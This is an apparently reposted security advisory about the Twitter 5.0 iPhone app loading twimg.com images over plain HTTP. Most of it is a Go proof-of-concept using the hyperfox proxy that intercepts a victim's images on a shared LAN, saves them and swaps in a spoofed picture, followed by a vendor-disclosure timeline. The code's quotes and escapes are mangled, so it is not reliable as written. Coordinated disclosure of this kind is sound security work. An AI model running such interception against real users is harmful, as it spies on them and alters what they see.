Twitter App 5.0 Eavesdropping Vulnerability

Summary

The Twitter 5.0 app for the iPhone is vulnerable to eavesdropping via [Man In The Middle][1], this vulnerability can lead an attacker on the same local area network (LAN) to capture and/or modify pictures the victim is seeing on the Twitter app.

Credit:

The information has been provided by Carlos Reventlov.


Details

Vulnerable Systems:
 * Twitter App 5.0

The Twitter app communicates with the Twitter API via HTTPs connections,however, picture images server by *.twimg.com are received through simple HTTP.

Proof of concept

Read http://reventlov.com/advisories/twitter-app-vulnerable-to-partial-mitm to see the PoC’s screen captures.

This custom [hyperfox][2] server will listen on `:9999`. This PoC captures pictures the user is seeing and sends a bogus picture (`spoof.jpg`) instead of the original. Read the [hyperfox][2] docs to know how to launch this PoC.

Only images on the *.twimg.com domain are targeted.

“`go
/*
Twitter App, eavesdroping PoC

Written by Carlos Reventlov
License MIT
*/

package main

import (
‘fmt’
‘github.com/xiam/hyperfox/proxy’
‘github.com/xiam/hyperfox/tools/logger’
‘io’
‘log’
‘os’
‘path’
‘strconv’
‘strings’
)

const imageFile = ‘spoof.jpg’

func init() {
_, err := os.Stat(imageFile)
if err != nil {
panic(err.Error())
}
}

func replaceAvatar(pr *proxy.ProxyRequest) error {
stat, _ := os.Stat(imageFile)
image, _ := os.Open(imageFile)

host := pr.Response.Request.Host

if strings.HasSuffix(host, ‘twimg.com’) == true {

if pr.Response.ContentLength != 0 {

file := ‘saved’ + proxy.PS + pr.FileName

var ext string

contentType := pr.Response.Header.Get(‘Content-Type’)

switch contentType {
case ‘image/jpeg’:
ext = ‘.jpg’
case ‘image/gif’:
ext = ‘.gif’
case ‘image/png’:
ext = ‘.png’
case ‘image/tiff’:
ext = ‘.tiff’
}

if ext != ” {
fmt.Printf(‘** Saving image.n’)

os.MkdirAll(path.Dir(file), os.ModeDir|os.FileMode(0755))

fp, _ := os.Create(file)

if fp == nil {
fmt.Errorf(fmt.Sprintf(‘Could not open file %s for writing.’, file))
}

io.Copy(fp, pr.Response.Body)

fp.Close()

pr.Response.Body.Close()
}

}

fmt.Printf(‘** Sending bogus image.n’)

pr.Response.ContentLength = stat.Size()
pr.Response.Header.Set(‘Content-Type’, ‘image/jpeg’)
pr.Response.Header.Set(‘Content-Length’,
strconv.Itoa(int(pr.Response.ContentLength)))
pr.Response.Body = image
}

return nil
}

func main() {

p := proxy.New()

p.AddDirector(logger.Client(os.Stdout))

p.AddInterceptor(replaceAvatar)

p.AddLogger(logger.Server(os.Stdout))

var err error

err = p.Start()

if err != nil {
log.Printf(fmt.Sprintf(‘Failed to bind: %s.n’, err.Error()))
}
}
“`

Disclosure Timeline:
* Nov 10, 2012 Vulnerability discovered.
* Nov 10, 2012 Vendor contacted.
* Nov 15, 2012 Vendor response: ‘planned to be fixed on next release’.
* Nov 15, 2012 New release 5.1, bug is patched.
* Nov 16, 2012 Full disclosure.

Categories: News